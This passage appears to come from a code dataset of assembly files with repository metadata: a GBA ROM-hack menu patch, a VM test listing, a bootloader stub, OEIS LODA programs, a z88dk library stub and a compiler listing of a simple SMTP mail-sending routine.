bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#0xB mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#0xB mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing ldr r0,=#0x201A51B mov r1,#0 add sp,#4 pop {pc} //============================================================================================= // Avoid reprinting stuff we don't need to when closing the equipment submenu //============================================================================================= .equip_avoid_left_reprint: push {lr} ldr r0,=#0x201A51B mov r1,#4 strb r1,[r0,#0] //Specify no reprinting for left column bl $8046D90 //Call printing ldr r0,=#0x201A51B mov r1,#0 strb r1,[r0,#0] //Restore previous value pop {pc} //============================================================================================= // This set of hack removes the lag from the "Delete all saves" menu. // To access it, press LOAD in the main menu with L + R + START + A held down //============================================================================================= fix_lag_delete_all: //============================================================================================= // This hack makes it so the "LV" icon has the same priority as the other OAM entries. // Otherwise it could pop over the backgorund //============================================================================================= .change_level_priority: mov r6,#2 str r6,[sp,#0] mov r6,#1 //Set r6 to 1 because the rest of the function expects it to be 1 bx lr //============================================================================================= // This hack makes it so BG1 (the VRAM BG) is 5 pixels lower. // It makes it possible to match the original text. //============================================================================================= .change_bg1_coords: ldr r1,=#0x2016028 cmp r0,#9 bne + ldrh r0,[r1,#0x1C] //Move the Y axys by 5 pixels mov r0,#3 strh r0,[r1,#0x1C] mov r0,#9 + cmp r0,#8 bx lr //============================================================================================= // This hack adds VRAM entries for the text in the "Delete all saves" menu. // It also hides BG1 //============================================================================================= .add_extra_vram: push {lr} add sp,#-4 ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 bne + ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide BG1 until we need to show it mov r5,#1 neg r5,r5 mov r4,#0xF //Generic text stuff mov r0,#0x1D //"Delete all saves" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#4 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x21 //"Is that okay" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#5 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x03 //"Yes" text bl $80486A0 str r4,[sp,#0] mov r1,#0x7 mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x04 //"No" text bl $80486A0 str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#9 + add sp,#4 pop {pc} //============================================================================================= // This hack hides BG1 (the VRAM backgorund). // Used when Yes or No has been pressed //============================================================================================= .hide_background: push {r1-r2} ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide back VRAM content in BG1 mov r0,#0 pop {r1-r2} bx lr //============================================================================================= // This hack changes the BG0 and the BG1 priority for the "Delete all saves" menu. // BG1 (VRAM text) goes over BG0 (submenu window). // The default code goes on to print some OAM entries, which are skipped // in the "Delete all saves" menu. //============================================================================================= .change_background_priority_remove_oam: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0x10 //Is this the saving menu? bne + ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 //Is this the "Delete all files" menu? bne + ldrh r0,[r4,#0xA] mov r1,#1 orr r0,r1 //Change BG0 priority to 1 strh r0,[r4,#0xA] ldrh r0,[r4,#0xC] mov r1,#4 neg r1,r1 and r0,r1 //Change BG1 priority to 0. Bring forth the text written in VRAM strh r0,[r4,#0xC] pop {r0} ldr r0,=#0x8045DE7 bx r0 //Sadly, we need to skip part of the routine and this is the best way that came to mind... + ldr r0,=#0x41CC //Default code add r4,r4,r0 pop {pc} //============================================================================================= // This hack removes the cursor while the "Delete all files" menu is loading up //============================================================================================= .remove_starting_cursor: push {lr} add sp,#-4 ldr r3,=#0x201A288 ldrb r3,[r3,#0] cmp r3,#0x10 bne + ldr r3,=#0x2004100 ldrb r3,[r3,#0] cmp r3,#0x9 bne + ldr r3,=#0x201A202 //0x2016028 + 0x41C6 ldrb r3,[r3,#0] cmp r3,#0x4 bne + b .remove_starting_cursor_end + ldr r3,[sp,#8] str r3,[sp,#0] mov r3,#0x20 //Function parameters bl $8046A28 .remove_starting_cursor_end: add sp,#4 pop {pc} //============================================================================================= // This hack makes it so the window is loaded up for the "Delete all files" menu only after // the fadein is over //============================================================================================= .hack: push {lr} push {r0-r3} ldr r2,=#0x2016028 ldr r0,=#0x41DA add r3,r2,r0 mov r1,#0x12 sub r1,r0,r1 add r0,r1,r2 //Load the submenu we're in. 5 is a sub-submenu ldrh r1,[r0,#4] //Load the subscreen we're in. 0x1D is the "Delete all saves" one. cmp r1,#0x1D bne + ldrh r1,[r0,#0] cmp r1,#5 bne + ldrb r0,[r3,#0] //Make it so this is properly added only once we can get the input cmp r0,#4 bne + mov r1,#0x86 add r1,r1,r3 ldrb r1,[r1,#0] cmp r1,#0x10 //Is this the file selection menu? bne + mov r1,#0x16 add r1,r1,r3 ldrh r0,[r1,#0] cmp r0,#0x16 //Have a 6 frames windows for the fadein to properly end bne + mov r0,#5 strb r0,[r3,#0] + pop {r0-r3} ldrb r0,[r0,#0] //Clobbered code lsl r0,r0,#0x1F pop {pc}
27.378051
214
0.508653
094b76ed6e20e2984cca1f564f38382a9bda008d
492
asm
Assembly
testsuite/ubivm/expected/repeat_until_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/expected/repeat_until_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/expected/repeat_until_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
Entity start No options Constants 0 S start 1 S x 2 I 1 3 S x= 4 I 2 5 S io.writeln 6 I 10 End Valid context (always) No properties Def start No parameters Local variables 0 int x End No results ldconst 2 --> [1] stvar 0 --> [x] 2: ldconst 3 --> [x=] ldvar 0 --> [x] ldconst 4 --> [2] lcall 5 --> [io.writeln] ldvar 0 --> [x] ldconst 2 --> [1] add stvar 0 --> [x] ldvar 0 --> [x] ldconst 6 --> [10] gt ifnot 2 --> [2] stop End End
13.297297
26
0.54065
87b5e53a39d62633d5d9a4f796687b80dd434adc
471
asm
Assembly
src/loader/ent.asm
marvinborner/SegelBoot
c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b
[ "MIT" ]
1
2021-07-04T23:19:29.000Z
2021-07-04T23:19:29.000Z
src/loader/ent.asm
marvinborner/SegelBoot
c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b
[ "MIT" ]
null
null
null
src/loader/ent.asm
marvinborner/SegelBoot
c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b
[ "MIT" ]
null
null
null
; MIT License, Copyright (c) 2021 Marvin Borner extern bss_begin extern bss_end extern start extern gdt section .entry global _start _start: cld ; Clear bss section xor al, al mov edi, bss_begin mov ecx, bss_end sub ecx, bss_begin rep stosb lgdt [gdt] ; Load GDT jmp 0x18:.reload_cs ; Use third GDT segment for code .reload_cs: mov eax, 0x20 ; Use fourth GDT segment for data/other mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax jmp start
13.852941
54
0.717622
d95390b2fb908cbe2613624f24e72eb1be709c48
633
asm
Assembly
programs/oeis/089/A089643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/089/A089643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/089/A089643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A089643: 3^a(n) divides C(3n,n); 3-adic valuation of A005809. ; 0,1,1,1,2,1,1,2,2,1,2,2,2,3,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,3,3,4,4,3,4,4,4,5,4,4,5,5,1,2,2,2,3,2,2 mov $1,$0 mov $2,$0 add $2,$0 lpb $1,1 div $2,3 sub $1,$2 lpe
57.545455
501
0.516588
ed757639be7d919f8d0b33cd12db9cca191a444e
175
asm
Assembly
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; void w_vector_clear(w_vector_t *v) SECTION code_clib SECTION code_adt_w_vector PUBLIC w_vector_clear EXTERN asm_w_vector_clear defc w_vector_clear = asm_w_vector_clear
14.583333
40
0.851429
abdcc828d5096ed28c7c44da1cb9fcae5bd304d0
1,585
asm
Assembly
programs/oeis/005/A005766.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/005/A005766.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/005/A005766.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A005766: a(n) = cost of minimal multiplication-cost addition chain for n. ; 0,1,3,5,9,12,18,21,29,34,44,48,60,67,81,85,101,110,128,134,154,165,187,192,216,229,255,263,291,306,336,341,373,390,424,434,470,489,527,534,574,595,637,649,693,716,762,768,816,841,891,905,957,984,1038,1047,1103,1132,1190,1206,1266,1297,1359,1365,1429,1462,1528,1546,1614,1649,1719,1730,1802,1839,1913,1933,2009,2048,2126,2134,2214,2255,2337,2359,2443,2486,2572,2585,2673,2718,2808,2832,2924,2971,3065,3072,3168,3217,3315,3341,3441,3492,3594,3609,3713,3766,3872,3900,4008,4063,4173,4183,4295,4352,4466,4496,4612,4671,4789,4806,4926,4987,5109,5141,5265,5328,5454,5461,5589,5654,5784,5818,5950,6017,6151,6170,6306,6375,6513,6549,6689,6760,6902,6914,7058,7131,7277,7315,7463,7538,7688,7709,7861,7938,8092,8132,8288,8367,8525,8534,8694,8775,8937,8979,9143,9226,9392,9415,9583,9668,9838,9882,10054,10141,10315,10329,10505,10594,10772,10818,10998,11089,11271,11296,11480,11573,11759,11807,11995,12090,12280,12288,12480,12577,12771,12821,13017,13116,13314,13341,13541,13642,13844,13896,14100,14203,14409,14425,14633,14738,14948,15002,15214,15321,15535,15564,15780,15889,16107,16163,16383,16494,16716,16727,16951,17064,17290,17348,17576,17691,17921,17952,18184,18301,18535,18595,18831,18950,19188,19206,19446,19567,19809,19871,20115,20238,20484,20517,20765,20890 mov $2,$0 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 add $0,4 mov $4,3 lpb $0 mov $3,$0 div $0,2 gcd $3,2 pow $0,$3 add $0,2 add $4,1 lpe mov $3,$4 add $3,$0 add $3,1 mov $6,$3 sub $6,8 add $1,$6 lpe
58.703704
1,254
0.737539
205627d61cafa83a41a79449d60608692ea85a5f
642
asm
Assembly
oeis/104/A104674.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/104/A104674.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/104/A104674.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A104674: a(n) = binomial(n+6, 6) * binomial(n+11, n). ; Submitted by Jon Maiga ; 1,84,2184,30576,286650,2018016,11435424,54609984,226972746,840639800,2824549728,8730426432,25099975992,67725379008,172768824000,419252346240,972796459635,2167754048460,4656656844840,9674494830000,19494107082450,38192536324800,72913023892800,135902157955200,247738308772500,442361524144176,774787048205184,1332761259875584,2254134477799776,3752423625350400,6153974745574656,9951380597942784,15879449118201669,25022162246863236,38961844329025800,59985337473096048,91366555688187962,137750599664295072 mov $2,$0 add $2,6 bin $2,$0 add $0,11 bin $0,11 mul $0,$2
58.363636
500
0.847352
f25347dd0b1782de36eeb2d7427837a1e7550a95
113,590
asm
Assembly
Source/vs/mail.asm
LeGone/daspirum
21b904140fd51e881f38d43a8d0af0befdfc5cea
[ "MIT" ]
null
null
null
Source/vs/mail.asm
LeGone/daspirum
21b904140fd51e881f38d43a8d0af0befdfc5cea
[ "MIT" ]
null
null
null
Source/vs/mail.asm
LeGone/daspirum
21b904140fd51e881f38d43a8d0af0befdfc5cea
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.40219.01 TITLE C:\Work\daspirum\Source\src\mail.cpp .686P .XMM include listing.inc .model flat INCLUDELIB OLDNAMES $SG-68394 DB 00H $SG-68395 DB 00H $SG-68214 DB 'config.cfg', 00H ORG $+1 $SG-68215 DB 'mail', 00H ORG $+3 $SG-68216 DB 'smtp_address', 00H ORG $+3 $SG-68217 DB 'mail', 00H ORG $+3 $SG-68218 DB 'smtp_port', 00H ORG $+2 $SG-68219 DB '#000000', 00H $SG-68220 DB 'Mail-S: ', 00H ORG $+3 $SG-68221 DB 'EHLO exp-clan.com', 0dH, 0aH, 00H $SG-68222 DB '#000000', 00H $SG-68223 DB 'Mail-C: ', 00H ORG $+3 $SG-68224 DB '#000000', 00H $SG-68225 DB 'Mail-S: ', 00H ORG $+3 $SG-68226 DB '>', 0dH, 0aH, 00H $SG-68227 DB 'MAIL FROM:<daspirum@', 00H ORG $+3 $SG-68228 DB '#000000', 00H $SG-68229 DB 'Mail-C: ', 00H ORG $+3 $SG-68230 DB '#000000', 00H $SG-68231 DB 'Mail: ', 00H ORG $+1 $SG-68232 DB '>', 0dH, 0aH, 00H $SG-68233 DB 'RCPT TO:<', 00H ORG $+2 $SG-68234 DB '#000000', 00H $SG-68235 DB 'Mail: ', 00H ORG $+1 $SG-68236 DB 'DATA', 0dH, 0aH, 00H ORG $+1 $SG-68237 DB '#000000', 00H $SG-68238 DB 'Mail: ', 00H ORG $+1 $SG-68239 DB 0dH, 0aH, 00H ORG $+1 $SG-68240 DB 'From: daspirum@', 00H $SG-68241 DB '>', 0dH, 0aH, 00H $SG-68242 DB 'To: <', 00H ORG $+2 $SG-68243 DB 0dH, 0aH, 00H ORG $+1 $SG-68244 DB 'Subject: ', 00H ORG $+2 $SG-68245 DB 0dH, 0aH, 00H ORG $+1 $SG-68246 DB 0dH, 0aH, 00H ORG $+1 $SG-68247 DB '.', 0dH, 0aH, 00H $SG-68248 DB '#000000', 00H $SG-68249 DB 'Mail: ', 00H ORG $+1 $SG-68250 DB 'QUIT', 00H ORG $+3 $SG-68251 DB '#000000', 00H $SG-68252 DB 'Mail: ', 00H ORG $+1 $SG-68253 DB 'mail::sendMail', 00H ORG $+1 $SG-68254 DB '..\src\mail.cpp', 00H $SG-68255 DB 'Unknown error!', 00H ORG $+1 $SG-68256 DB 'mail::sendMail', 00H ORG $+1 $SG-68257 DB '..\src\mail.cpp', 00H $SG-68302 DB '.', 0aH, 00H ORG $+1 $SG-68303 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68304 DB '.', 0aH, 00H ORG $+1 $SG-68305 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H $SG-68306 DB 'Error detected in file ', 00H $SG-68307 DB '.', 0aH, 0aH, 00H $SG-68309 DB 'Error detected in function ', 00H $SG-68308 DB 'void __thiscall dlib::set_kernel_c<class dlib::set_kerne' DB 'l_1<unsigned long,class dlib::binary_search_tree_kernel_2<uns' DB 'igned long,char,class dlib::memory_manager_kernel_2<char,100>' DB ',struct std::less<unsigned long> >,class dlib::memory_manager' DB '_kernel_2<char,100> > >::remove_any(unsigned long &)', 00H $SG-68310 DB '.', 0aH, 00H ORG $+1 $SG-68311 DB 'this->size() != 0', 00H ORG $+2 $SG-68312 DB 'Failing expression was ', 00H $SG-68313 DB 0aH, 00H ORG $+2 $SG-68314 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68315 DB 0aH, 09H, 'size must be greater than zero if an item is t' DB 'o be removed', 00H ORG $+3 $SG-68316 DB 09H, 'void set::remove_any', 00H ORG $+2 $SG-68317 DB '.', 0aH, 00H ORG $+1 $SG-68318 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68319 DB '.', 0aH, 00H ORG $+1 $SG-68320 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H $SG-68321 DB 'Error detected in file ', 00H $SG-68322 DB '.', 0aH, 0aH, 00H $SG-68324 DB 'Error detected in function ', 00H $SG-68323 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class' DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t' DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke' DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib' DB '::memory_manager_kernel_2<char,100> > >::element(void) const', 00H $SG-68325 DB '.', 0aH, 00H ORG $+1 $SG-68326 DB 'this->current_element_valid() == true', 00H ORG $+2 $SG-68327 DB 'Failing expression was ', 00H $SG-68328 DB 0aH, 00H ORG $+2 $SG-68329 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68330 DB 0aH, 09H, 'you can''t access the current element if it do' DB 'esn''t exist', 00H ORG $+1 $SG-68331 DB 09H, 'const T& set::element() const', 00H ORG $+1 $SG-68332 DB '.', 0aH, 00H ORG $+1 $SG-68333 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68334 DB '.', 0aH, 00H ORG $+1 $SG-68335 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H $SG-68336 DB 'Error detected in file ', 00H $SG-68337 DB '.', 0aH, 0aH, 00H $SG-68339 DB 'Error detected in function ', 00H $SG-68338 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class' DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t' DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke' DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib' DB '::memory_manager_kernel_2<char,100> > >::element(void)', 00H ORG $+2 $SG-68340 DB '.', 0aH, 00H ORG $+1 $SG-68341 DB 'this->current_element_valid() == true', 00H ORG $+2 $SG-68342 DB 'Failing expression was ', 00H $SG-68343 DB 0aH, 00H ORG $+2 $SG-68344 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68345 DB 0aH, 09H, 'you can''t access the current element if it do' DB 'esn''t exist', 00H ORG $+1 $SG-68346 DB 09H, 'const T& set::element', 00H ORG $+1 $SG-68347 DB '.', 0aH, 00H ORG $+1 $SG-68348 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68349 DB '.', 0aH, 00H ORG $+1 $SG-68351 DB 'Error detected in file ', 00H $SG-68352 DB '.', 0aH, 0aH, 00H $SG-68350 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr' DB 'ee_kernel_c.h', 00H ORG $+2 $SG-68353 DB 'void __thiscall dlib::binary_search_tree_kernel_c<class ' DB 'dlib::binary_search_tree_kernel_2<unsigned long,class dlib::m' DB 'ember_function_pointer<void,void,void,void>,class dlib::memor' DB 'y_manager_kernel_2<char,10>,struct std::less<unsigned long> >' DB ' >::remove_any(unsigned long &,class dlib::member_function_po' DB 'inter<void,void,void,void> &)', 00H ORG $+2 $SG-68354 DB 'Error detected in function ', 00H $SG-68355 DB '.', 0aH, 00H ORG $+1 $SG-68357 DB 'Failing expression was ', 00H $SG-68358 DB 0aH, 00H ORG $+2 $SG-68356 DB 'this->size() != 0 && (static_cast<const void*>(&d) != st' DB 'atic_cast<void*>(&r))', 00H ORG $+2 $SG-68359 DB 0aH, 09H, '&r: ', 00H ORG $+3 $SG-68360 DB 0aH, 09H, '&d: ', 00H ORG $+3 $SG-68361 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68362 DB 0aH, 09H, 'tree must not be empty if something is going t' DB 'o be removed', 00H ORG $+3 $SG-68363 DB 09H, 'void binary_search_tree::remove_any', 00H ORG $+3 $SG-68364 DB '.', 0aH, 00H ORG $+1 $SG-68365 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68366 DB '.', 0aH, 00H ORG $+1 $SG-68367 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr' DB 'ee_kernel_c.h', 00H ORG $+2 $SG-68368 DB 'Error detected in file ', 00H $SG-68369 DB '.', 0aH, 0aH, 00H $SG-68371 DB 'Error detected in function ', 00H $SG-68370 DB 'class dlib::map_pair<unsigned long,class dlib::member_fu' DB 'nction_pointer<void,void,void,void> > &__thiscall dlib::binar' DB 'y_search_tree_kernel_c<class dlib::binary_search_tree_kernel_' DB '2<unsigned long,class dlib::member_function_pointer<void,void' DB ',void,void>,class dlib::memory_manager_kernel_2<char,10>,stru' DB 'ct std::less<unsigned long> > >::element(void)', 00H ORG $+1 $SG-68372 DB '.', 0aH, 00H ORG $+1 $SG-68373 DB 'this->current_element_valid() == true', 00H ORG $+2 $SG-68374 DB 'Failing expression was ', 00H $SG-68375 DB 0aH, 00H ORG $+2 $SG-68376 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68377 DB 0aH, 09H, 'you can''t access the current element if it do' DB 'esn''t exist', 00H ORG $+1 $SG-68378 DB 09H, 'map_pair<domain,range>& binary_search_tree::element' DB '()', 00H ORG $+1 $SG-68379 DB '.', 0aH, 00H ORG $+1 $SG-68380 DB 0aH, 0aH, 'Error detected at line ', 00H ORG $+2 $SG-68381 DB '.', 0aH, 00H ORG $+1 $SG-68382 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr' DB 'ee_kernel_c.h', 00H ORG $+2 $SG-68383 DB 'Error detected in file ', 00H $SG-68384 DB '.', 0aH, 0aH, 00H $SG-68386 DB 'Error detected in function ', 00H $SG-68385 DB 'const class dlib::map_pair<unsigned long,class dlib::mem' DB 'ber_function_pointer<void,void,void,void> > &__thiscall dlib:' DB ':binary_search_tree_kernel_c<class dlib::binary_search_tree_k' DB 'ernel_2<unsigned long,class dlib::member_function_pointer<voi' DB 'd,void,void,void>,class dlib::memory_manager_kernel_2<char,10' DB '>,struct std::less<unsigned long> > >::element(void) const', 00H ORG $+1 $SG-68387 DB '.', 0aH, 00H ORG $+1 $SG-68388 DB 'this->current_element_valid() == true', 00H ORG $+2 $SG-68389 DB 'Failing expression was ', 00H $SG-68390 DB 0aH, 00H ORG $+2 $SG-68391 DB 0aH, 09H, 'this: ', 00H ORG $+3 $SG-68392 DB 0aH, 09H, 'you can''t access the current element if it do' DB 'esn''t exist', 00H ORG $+1 $SG-68393 DB 09H, 'const map_pair<domain,range>& binary_search_tree::e' DB 'lement() const', 00H ORG $+1 $SG-68402 DB '_-.', 00H $SG-68403 DB ' ', 09H, 0dH, 0aH, 00H PUBLIC __$ArrayPad$ PUBLIC ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z ; mail::sendMail ; COMDAT xdata$x ; File c:\work\daspirum\source\src\mail.cpp xdata$x SEGMENT __unwindtable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 0ffffffffH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$3 DD 00H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$4 DD 01H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$5 DD 02H DD 00H DD 03H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$6 DD 04H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7 DD 03H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7 DD 06H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$8 DD 07H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$9 DD 08H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$10 DD 09H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11 DD 08H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11 DD 07H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11 DD 0cH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$12 DD 0dH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$13 DD 0eH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14 DD 0dH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14 DD 0cH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$15 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$18 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$20 DD 014H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$21 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$23 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$25 DD 017H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$26 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$27 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$29 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$31 DD 01bH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$32 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$33 DD 01dH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$34 DD 011H DD 